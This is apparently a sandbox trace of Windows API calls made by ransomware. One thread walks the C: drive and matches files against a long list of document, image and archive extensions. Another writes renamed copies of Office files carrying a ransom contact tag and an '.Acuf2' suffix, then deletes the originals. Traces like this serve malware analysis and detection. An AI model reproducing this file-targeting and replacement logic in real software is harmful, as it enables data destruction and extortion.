	[0277.729] lstrlenW (lpString=".pdf") returned 4
	[0277.729] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1
	[0277.729] lstrlenW (lpString=".xls") returned 4
	[0277.729] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1
	[0277.729] lstrlenW (lpString=".xlsx") returned 5
	[0277.729] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1
	[0277.729] lstrlenW (lpString=".ppt") returned 4
	[0277.729] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1
	[0277.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66
	[0277.729] lstrlenW (lpString=".zip") returned 4
	[0277.729] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1
	[0277.729] lstrlenW (lpString=".rar") returned 4
	[0277.729] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1
	[0277.729] lstrlenW (lpString=".bz2") returned 4
	[0277.729] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1
	[0277.729] lstrlenW (lpString=".7z") returned 3
	[0277.729] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1
	[0277.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66
	[0277.729] lstrlenW (lpString=".dbf") returned 4
	[0277.729] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1
	[0277.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66
	[0277.729] lstrlenW (lpString=".1cd") returned 4
	[0277.729] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1
	[0277.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66
	[0277.730] lstrlenW (lpString=".jpg") returned 4
	[0277.730] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1
	[0277.733] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.733] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0277.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0278.037] GetLastError () returned 0x0
	[0278.037] ReadFile (in: hFile=0x29c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x268, lpOverlapped=0x0) returned 1
	[0278.038] WriteFile (in: hFile=0x338, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x270, lpOverlapped=0x0) returned 1
	[0278.038] ReadFile (in: hFile=0x29c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0278.038] WriteFile (in: hFile=0x338, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0278.039] SetEndOfFile (hFile=0x338) returned 1
	[0278.039] CloseHandle (hObject=0x338) returned 1
	[0278.039] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0278.039] SetEndOfFile (hFile=0x29c) returned 1
	[0278.041] CloseHandle (hObject=0x29c) returned 1
	[0278.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0278.042] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg")) returned 1
	[0278.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66
	[0278.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66
	[0278.042] lstrlenW (lpString=".doc") returned 4
	[0278.042] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1
	[0278.042] lstrlenW (lpString=".docx") returned 5
	[0278.042] lstrcmpiW (lpString1=".docx", lpString2="L.CFG") returned -1
	[0278.042] lstrlenW (lpString=".pdf") returned 4
	[0278.042] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1
	[0278.042] lstrlenW (lpString=".xls") returned 4
	[0278.042] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1
	[0278.042] lstrlenW (lpString=".xlsx") returned 5
	[0278.042] lstrcmpiW (lpString1=".xlsx", lpString2="L.CFG") returned -1
	[0278.042] lstrlenW (lpString=".ppt") returned 4
	[0278.042] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1
	[0278.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66
	[0278.042] lstrlenW (lpString=".zip") returned 4
	[0278.042] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1
	[0278.042] lstrlenW (lpString=".rar") returned 4
	[0278.042] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1
	[0278.043] lstrlenW (lpString=".bz2") returned 4
	[0278.043] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1
	[0278.043] lstrlenW (lpString=".7z") returned 3
	[0278.043] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1
	[0278.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66
	[0278.043] lstrlenW (lpString=".dbf") returned 4
	[0278.043] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1
	[0278.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66
	[0278.043] lstrlenW (lpString=".1cd") returned 4
	[0278.043] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1
	[0278.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66
	[0278.043] lstrlenW (lpString=".jpg") returned 4
	[0278.043] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1
	[0278.044] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0278.044] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0278.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0278.044] GetLastError () returned 0x0
	[0278.044] ReadFile (hFile=0x29c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0) 

Thread:
	id = 104
	os_tid = 0x698

	[0249.034] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3af00b8
	[0249.034] lstrlenW (lpString="C:") returned 2
	[0249.034] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x374fd00 | out: lpFindFileData=0x374fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x4fb268
	[0249.034] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15
	[0249.034] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1
	[0249.034] lstrlenW (lpString="$Recycle.Bin") returned 12
	[0249.034] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1
	[0249.034] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4170048
	[0249.035] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15
	[0249.035] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4fb2a8
	[0249.035] FindNextFileW (in: hFindFile=0x4fb2a8, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.035] FindNextFileW (in: hFindFile=0x4fb2a8, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x84b35c20, ftLastAccessTime.dwHighDateTime=0x1d542e6, ftLastWriteTime.dwLowDateTime=0x84b35c20, ftLastWriteTime.dwHighDateTime=0x1d542e6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0249.035] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62
	[0249.035] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1
	[0249.035] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46
	[0249.035] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1
	[0249.035] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x4180050
	[0249.035] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62
	[0249.035] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x84b35c20, ftLastAccessTime.dwHighDateTime=0x1d542e6, ftLastWriteTime.dwLowDateTime=0x84b35c20, ftLastWriteTime.dwHighDateTime=0x1d542e6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4fb2e8
	[0249.035] FindNextFileW (in: hFindFile=0x4fb2e8, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x84b35c20, ftLastAccessTime.dwHighDateTime=0x1d542e6, ftLastWriteTime.dwLowDateTime=0x84b35c20, ftLastWriteTime.dwHighDateTime=0x1d542e6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.036] FindNextFileW (in: hFindFile=0x4fb2e8, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x84b35c20, ftCreationTime.dwHighDateTime=0x1d542e6, ftLastAccessTime.dwLowDateTime=0x84b35c20, ftLastAccessTime.dwHighDateTime=0x1d542e6, ftLastWriteTime.dwLowDateTime=0x84b35c20, ftLastWriteTime.dwHighDateTime=0x1d542e6, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0249.036] lstrlenW (lpString="desktop.ini") returned 11
	[0249.036] lstrlenW (lpString=".1cd") returned 4
	[0249.036] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0249.036] lstrlenW (lpString=".3ds") returned 4
	[0249.036] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1
	[0249.036] lstrlenW (lpString=".3fr") returned 4
	[0249.036] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1
	[0249.036] lstrlenW (lpString=".3g2") returned 4
	[0249.036] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1
	[0249.036] lstrlenW (lpString=".3gp") returned 4
	[0249.036] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1
	[0249.036] lstrlenW (lpString=".7z") returned 3
	[0249.036] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0249.036] lstrlenW (lpString=".accda") returned 6
	[0249.036] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1
	[0249.036] lstrlenW (lpString=".accdb") returned 6
	[0249.036] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1
	[0249.036] lstrlenW (lpString=".accdc") returned 6
	[0249.036] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1
	[0249.036] lstrlenW (lpString=".accde") returned 6
	[0249.036] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1
	[0249.036] lstrlenW (lpString=".accdt") returned 6
	[0249.036] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1
	[0249.037] lstrlenW (lpString=".accdw") returned 6
	[0249.037] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1
	[0249.037] lstrlenW (lpString=".adb") returned 4
	[0249.037] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1
	[0249.037] lstrlenW (lpString=".adp") returned 4
	[0249.037] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1
	[0249.037] lstrlenW (lpString=".ai") returned 3
	[0249.037] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1
	[0249.037] lstrlenW (lpString=".ai3") returned 4
	[0249.037] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1
	[0249.037] lstrlenW (lpString=".ai4") returned 4
	[0249.037] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1
	[0249.037] lstrlenW (lpString=".ai5") returned 4
	[0249.037] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1
	[0249.037] lstrlenW (lpString=".ai6") returned 4
	[0249.037] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1
	[0249.037] lstrlenW (lpString=".ai7") returned 4
	[0249.037] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1
	[0249.037] lstrlenW (lpString=".ai8") returned 4
	[0249.037] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1
	[0249.037] lstrlenW (lpString=".anim") returned 5
	[0249.037] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1
	[0249.037] lstrlenW (lpString=".arw") returned 4
	[0249.037] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1
	[0249.037] lstrlenW (lpString=".as") returned 3
	[0249.037] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1
	[0249.037] lstrlenW (lpString=".asa") returned 4
	[0249.037] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1
	[0249.037] lstrlenW (lpString=".asc") returned 4
	[0249.037] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1
	[0249.037] lstrlenW (lpString=".ascx") returned 5
	[0249.037] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1
	[0249.037] lstrlenW (lpString=".asm") returned 4
	[0249.037] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1
	[0249.038] lstrlenW (lpString=".asmx") returned 5
	[0249.038] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1
	[0249.038] lstrlenW (lpString=".asp") returned 4
	[0249.038] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1
	[0249.038] lstrlenW (lpString=".aspx") returned 5
	[0249.038] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1
	[0249.038] lstrlenW (lpString=".asr") returned 4
	[0249.038] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1
	[0249.038] lstrlenW (lpString=".asx") returned 4
	[0249.038] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1
	[0249.038] lstrlenW (lpString=".avi") returned 4
	[0249.038] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1
	[0249.038] lstrlenW (lpString=".avs") returned 4
	[0249.038] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1
	[0249.038] lstrlenW (lpString=".backup") returned 7
	[0249.038] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1
	[0249.038] lstrlenW (lpString=".bak") returned 4
	[0249.038] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1
	[0249.038] lstrlenW (lpString=".bay") returned 4
	[0249.038] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1
	[0249.038] lstrlenW (lpString=".bd") returned 3
	[0249.038] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1
	[0249.038] lstrlenW (lpString=".bin") returned 4
	[0249.038] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1
	[0249.038] lstrlenW (lpString=".bmp") returned 4
	[0249.038] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1
	[0249.038] lstrlenW (lpString=".bz2") returned 4
	[0249.038] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0249.038] lstrlenW (lpString=".c") returned 2
	[0249.038] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1
	[0249.038] lstrlenW (lpString=".cdr") returned 4
	[0249.038] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1
	[0249.038] lstrlenW (lpString=".cer") returned 4
	[0249.038] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1
	[0249.039] lstrlenW (lpString=".cf") returned 3
	[0249.039] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1
	[0249.039] lstrlenW (lpString=".cfc") returned 4
	[0249.039] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1
	[0249.039] lstrlenW (lpString=".cfm") returned 4
	[0249.039] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1
	[0249.039] lstrlenW (lpString=".cfml") returned 5
	[0249.039] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1
	[0249.039] lstrlenW (lpString=".cfu") returned 4
	[0249.039] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1
	[0249.039] lstrlenW (lpString=".chm") returned 4
	[0249.039] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1
	[0249.039] lstrlenW (lpString=".cin") returned 4
	[0249.039] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1
	[0249.039] lstrlenW (lpString=".class") returned 6
	[0249.039] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1
	[0249.039] lstrlenW (lpString=".clx") returned 4
	[0249.039] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1
	[0249.039] lstrlenW (lpString=".config") returned 7
	[0249.039] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1
	[0249.039] lstrlenW (lpString=".cpp") returned 4
	[0249.039] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1
	[0249.039] lstrlenW (lpString=".cr2") returned 4
	[0249.039] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1
	[0249.039] lstrlenW (lpString=".crt") returned 4
	[0249.039] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1
	[0249.039] lstrlenW (lpString=".crw") returned 4
	[0249.039] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1
	[0249.039] lstrlenW (lpString=".cs") returned 3
	[0249.039] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1
	[0249.039] lstrlenW (lpString=".css") returned 4
	[0249.039] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1
	[0249.039] lstrlenW (lpString=".csv") returned 4
	[0249.039] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1
	[0249.040] lstrlenW (lpString=".cub") returned 4
	[0249.040] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1
	[0249.040] lstrlenW (lpString=".dae") returned 4
	[0249.040] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1
	[0249.040] lstrlenW (lpString=".dat") returned 4
	[0249.040] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1
	[0249.040] lstrlenW (lpString=".db") returned 3
	[0249.040] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1
	[0249.040] lstrlenW (lpString=".dbf") returned 4
	[0249.040] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0249.040] lstrlenW (lpString=".dbx") returned 4
	[0249.040] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1
	[0249.040] lstrlenW (lpString=".dc3") returned 4
	[0249.040] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1
	[0249.040] lstrlenW (lpString=".dcm") returned 4
	[0249.040] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1
	[0249.040] lstrlenW (lpString=".dcr") returned 4
	[0249.040] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1
	[0249.040] lstrlenW (lpString=".der") returned 4
	[0249.040] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1
	[0249.040] lstrlenW (lpString=".dib") returned 4
	[0249.040] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1
	[0249.040] lstrlenW (lpString=".dic") returned 4
	[0249.040] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1
	[0249.040] lstrlenW (lpString=".dif") returned 4
	[0249.040] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1
	[0249.040] lstrlenW (lpString=".divx") returned 5
	[0249.040] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1
	[0249.040] lstrlenW (lpString=".djvu") returned 5
	[0249.040] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1
	[0249.040] lstrlenW (lpString=".dng") returned 4
	[0249.040] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1
	[0249.040] lstrlenW (lpString=".doc") returned 4
	[0249.040] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0249.041] lstrlenW (lpString=".docm") returned 5
	[0249.041] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1
	[0249.041] lstrlenW (lpString=".docx") returned 5
	[0249.041] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0249.041] lstrlenW (lpString=".dot") returned 4
	[0249.041] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1
	[0249.041] lstrlenW (lpString=".dotm") returned 5
	[0249.041] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1
	[0249.041] lstrlenW (lpString=".dotx") returned 5
	[0249.041] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1
	[0249.041] lstrlenW (lpString=".dpx") returned 4
	[0249.041] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1
	[0249.041] lstrlenW (lpString=".dqy") returned 4
	[0249.041] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1
	[0249.041] lstrlenW (lpString=".dsn") returned 4
	[0249.041] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1
	[0249.041] lstrlenW (lpString=".dt") returned 3
	[0249.041] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1
	[0249.041] lstrlenW (lpString=".dtd") returned 4
	[0249.041] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1
	[0249.041] lstrlenW (lpString=".dwg") returned 4
	[0249.041] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1
	[0249.041] lstrlenW (lpString=".dwt") returned 4
	[0249.041] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1
	[0249.041] lstrlenW (lpString=".dx") returned 3
	[0249.041] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1
	[0249.041] lstrlenW (lpString=".dxf") returned 4
	[0249.041] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1
	[0249.041] lstrlenW (lpString=".edml") returned 5
	[0249.041] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1
	[0249.041] lstrlenW (lpString=".efd") returned 4
	[0249.041] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1
	[0249.041] lstrlenW (lpString=".elf") returned 4
	[0249.041] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1
	[0249.042] lstrlenW (lpString=".emf") returned 4
	[0249.042] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1
	[0249.042] lstrlenW (lpString=".emz") returned 4
	[0249.042] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1
	[0249.042] lstrlenW (lpString=".epf") returned 4
	[0249.042] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1
	[0249.042] lstrlenW (lpString=".eps") returned 4
	[0249.042] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1
	[0249.042] lstrlenW (lpString=".epsf") returned 5
	[0249.042] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1
	[0249.042] lstrlenW (lpString=".epsp") returned 5
	[0249.042] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1
	[0249.042] lstrlenW (lpString=".erf") returned 4
	[0249.042] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1
	[0249.042] lstrlenW (lpString=".exr") returned 4
	[0249.042] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1
	[0249.042] lstrlenW (lpString=".f4v") returned 4
	[0249.042] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1
	[0249.042] lstrlenW (lpString=".fido") returned 5
	[0249.042] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1
	[0249.042] lstrlenW (lpString=".flm") returned 4
	[0249.042] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1
	[0249.042] lstrlenW (lpString=".flv") returned 4
	[0249.042] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1
	[0249.042] lstrlenW (lpString=".frm") returned 4
	[0249.042] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1
	[0249.042] lstrlenW (lpString=".fxg") returned 4
	[0249.042] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1
	[0249.042] lstrlenW (lpString=".geo") returned 4
	[0249.042] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1
	[0249.042] lstrlenW (lpString=".gif") returned 4
	[0249.042] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1
	[0249.043] lstrlenW (lpString=".grs") returned 4
	[0249.043] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1
